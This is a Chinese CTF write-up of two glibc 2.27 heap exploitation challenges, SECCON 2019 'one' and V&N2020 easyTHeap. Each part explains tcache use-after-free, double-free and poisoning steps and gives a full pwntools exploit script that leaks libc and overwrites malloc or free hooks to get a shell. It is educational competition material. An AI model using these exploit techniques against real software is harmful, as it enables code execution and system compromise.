SECCON 2019 Online CTF: one (pwn, heap, glibc-2.27)
主要利用了tcache的uaf和double-free漏洞,还有Tcache Poisoning和Tcache dup漏洞,可谓是一个大杂侩,虽然说题目逻辑简单,但是利用过程不是很容易,一次只能分配一个恶意块,所以需要有全局思维,要考虑如何利用漏洞并且需要在漏洞利用完还可以继续利用,因此比较复杂。对数字及其敏感,非常混乱,建议边调试边尝试。
哎还得是tcache,fastbin搞两下就崩了哈哈哈,可惜高版本tcache利用也成过去式了
from pwn import * io = process("./one") context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] elf = ELF("./libc-2.27.so") def create(content): io.sendlineafter(b'> ',b'1') io.sendlineafter(b'Input memo > ',content) def show(): io.sendlineafter(b'> ', b'2') return io.recvuntil("\n").strip() def de(): io.sendlineafter(b'> ', b'3') def ex(): io.sendlineafter(b'> ', b'0')
for i in range(7): create(2*p64(0x131)+2*p64(0x0)) de() de()
chunkadd = u64(show().ljust(8,b'\x00'))
de() de() de() de()
create(p64(chunkadd-0x150+0x20)+2*p64(0x0)+p64(0x171)) create(p64(chunkadd-0x150+0x20)+2*p64(0x0)+p64(0x171)) create(b'\xff\xff\xff\xff')
for i in range(8): de() base = u64(show().ljust(8,b'\x00'))-0x3ebca0 sys = base +elf.symbols["system"]
create(10*b'a') de() de() fhook = base + elf.symbols["__free_hook"] create(p64(fhook)+2*p64(0x0)+p64(0x171)) create(b'a') create(p64(sys)) create("/bin/sh\x00") de() io.interactive()
print("libc:",hex(base)) print("chunkadd:",hex(chunkadd)) print("__free_hook",hex(fhook))
|
BUUCTF-[V&N2020 公开赛]easyTHeap
版本
2.27-3ubuntu1_amd64
题目描述
本题是一个简陋的类似于tcache管理的程序,无法知道程序的基址,也就是说pie无法绕过,data数据段中存在两个变量控制new和delete的chunk的数量,因此本题需要细致控制new和delete的次数。new最多7次,delete最多三次。
存在漏洞
存在uaf和double_free漏洞,也存在打印堆内容的函数因此可以泄露地址,本题学习的地方是,可以通过Tcache Poisoning来控制tcache管理器。也就是tcache_perthread_struct结构体,来达到任意地址分配的目的
本题思路
1.通过doublefree和uaf泄露堆地址,需要new一次,delete2次。
2.通过uaf来实现Tcache Poisoning攻击,得到tcache_perthread_struct结构体的读写权限。需要new三次。需要仔细构造fd,来实现Tcache Poisoning攻击。
3.得到堆管理器控制权限时写入极大内容,造成bin已满的情形,free掉堆管理器,会被释放到unsortedbin中,可以泄露libc的基址。需要delete一次
4.注意看上三次步骤已经用光了delete的次数,new的次数也用了4次。这就是控制tcache_perthread_struct结构体的绝妙之处,可以通过伪造count和fd字段,来造成还有剩余chunk的假象,因此可以实现任意地址分配,不需要用uaf来进行任意地址的读写操作。
5.new一次得到tcache_perthread_struct结构体的控制权限,因为unsortedbin中只有一个reminderchunk,因此会直接切分分配,new的大小要合适。
6.new一次,分配到__realloc_hook
的区域,来伪造__realloc_hook与__malloc_hook
,这两个hook在一起,因此只需要消耗一次new的机会则可以得到连个hook的读写权限。
7.new一次,执行one-gadget,至此本题结束,恰好7次new,3次delete,及其极限。
脚本
from pwn import * io = process("./vn_pwn_easyTHeap") context.log_level = 'debug' context.terminal = ["tmux","splitw","-h"] elf = ELF("/home/l/how2heap/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so") def create(size): io.sendafter(b'choice: ',b'1') io.sendafter(b'size?',size) def edit(index,con): io.sendafter(b'choice: ', b'2') io.sendafter(b'idx?',index) io.sendafter(b'content:', con) def show(index): io.sendafter(b'choice: ', b'3') io.sendafter(b'idx?', index) return io.recvuntil("\n").strip() def de(index): io.sendafter(b'choice: ', b'4') io.sendafter(b'idx?', index) def ex(): io.sendafter(b'choice: ', b'5') create(b'248')#index = 0 de(b'0') de(b'0') heapadd = u64(show(b'0').ljust(8,b'\x00')) print(hex(heapadd)) create(b'248')#index = 1 edit(b'1',p64(heapadd-0x250)) create(b'248')#index = 2 edit(b'2',p64(heapadd-0x250)) create(b'248')#index = 3,tcache_perthread_struct edit(b'3',0x40*b'a') de(b'3')##goto unsortedbin ##getlibcbase libbase = u64(show(b'3').ljust(8,b'\x00'))-0x3ebca0 print(libbase) mallochook = libbase+elf.symbols["__malloc_hook"] reallochook = libbase+elf.symbols["__realloc_hook"] print(hex(mallochook)) ## 构造tcache_perthread_struct create(b'248')#index = 4 edit(b'4',0x40*b'\x00'+p64(mallochook)+p64(reallochook)) ## 复写mallochook sys = libbase + 0x4f2be relloc = libbase+elf.symbols["realloc"] create(b'40')#index = 5 edit(b'5',p64(sys)+p64(relloc+2)) #gdb.attach(io) #pause()
## index = 6 io.sendafter(b'choice: ', b'1') io.sendafter(b'size?', b'50') #pause() io.interactive()
|